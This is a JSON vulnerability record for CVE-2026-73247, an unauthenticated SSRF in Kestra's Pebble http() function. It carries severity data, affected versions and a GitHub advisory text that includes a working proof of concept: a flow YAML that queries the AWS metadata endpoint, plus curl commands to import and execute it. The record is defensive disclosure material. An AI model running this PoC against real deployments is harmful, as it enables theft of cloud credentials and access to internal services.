{"id":"CVE-2026-73247","aliases":["CVE-2026-73247","GHSA-r56g-q4p6-m3p6"],"related":[],"kind":"vulnerability","state":"published","title":"Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata","summary":"Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe Pebble template engine's `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.\n\n### Details\nThe root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106):\n\n1. **No URL validation**: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes\n2. **No IP filtering**: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1\n3. **No scheme restriction**: `file://`, `gopher://` schemes are not blocked\n4. **No authentication required**: `TenantValidationFilter.java` only checks tenant == \"main\" — no authentication\n5. **Unconditional registration**: `HttpFunction` is registered without any feature flags in `Extension.java:180`\n\n### PoC\n**Prerequisites:**\n```bash\ndocker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local\nsleep 30\n```\n\n**Step 1: Create malicious Flow YAML**\n```yaml\ncat > /tmp/ssrf_poc.yaml << 'YAML'\nid: ssrf_metadata\nnamespace: company.team\ntasks:\n  - id: exfiltrate\n    type: io.kestra.plugin.core.log.Log\n    message: |\n      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}\nYAML\n```\n\n**Step 2: Import without authentication**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/flows/import \\\n  -F \"fileUpload=@/tmp/ssrf_poc.yaml\"\n```\n\n**Step 3: Execute the flow**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata\n```\n\n**Step 4: Verify** — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)\n\n### Impact\n- **CVSS 3.1**: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n- **CWE**: CWE-918 (Server-Side Request Forgery)\n- **Affected**: All Kestra OSS versions (default deployment)\n- **Impact**: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft","format":"markdown","source":"ghsa"},{"lang":"es","text":"Kestra es una plataforma de orquestación de código abierto y basada en eventos. Antes de la versión 2.0.0, el archivo core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java de Kestra pasa el argumento uri de http() controlado por el usuario a URI.create() y al cliente HTTP del lado del servidor sin restringir destinos privados, de bucle invertido o de enlace local, lo que permite a un atacante no autenticado importar y ejecutar un flujo que accede a servicios internos o metadatos de la nube.","source":"nvd"}],"published":"2026-08-11T21:50:21.039Z","modified":"2026-10-24T15:10:00.190Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 2.0.0","status":"affected"}],"vendor":"kestra-io","product":"kestra","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"1.3.31"}],"ecosystem":"Maven","package":"io.kestra:core","purl":"pkg:maven/io.kestra/core","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.0.0"}],"ecosystem":"Maven","package":"io.kestra:kestra-core","purl":"pkg:maven/io.kestra/kestra-core","source":"ghsa"}],"references":[{"url":"https://github.com/kestra-io/kestra/security/advisories/GHSA-r56g-q4p6-m3p6","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73247","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/kestra-io/kestra","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-08-13T13:22:52.239Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-73247","url":"https://www.cve.org/CVERecord?id=CVE-2026-73247","licence":"CVE Terms of Use","modified":"2026-08-13T14:07:24.161Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-r56g-q4p6-m3p6","url":"https://github.com/advisories/GHSA-r56g-q4p6-m3p6","licence":"CC-BY-4.0","modified":"2026-09-17T17:30:07.707Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-73247","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73247","licence":"Public domain","modified":"2026-10-24T15:10:00.190Z"}],"updatedAt":"2026-11-25T22:59:32.526Z","epss":{"score":0.00368,"percentile":0.32685,"date":"2026-12-01T12:00:22.000Z"}}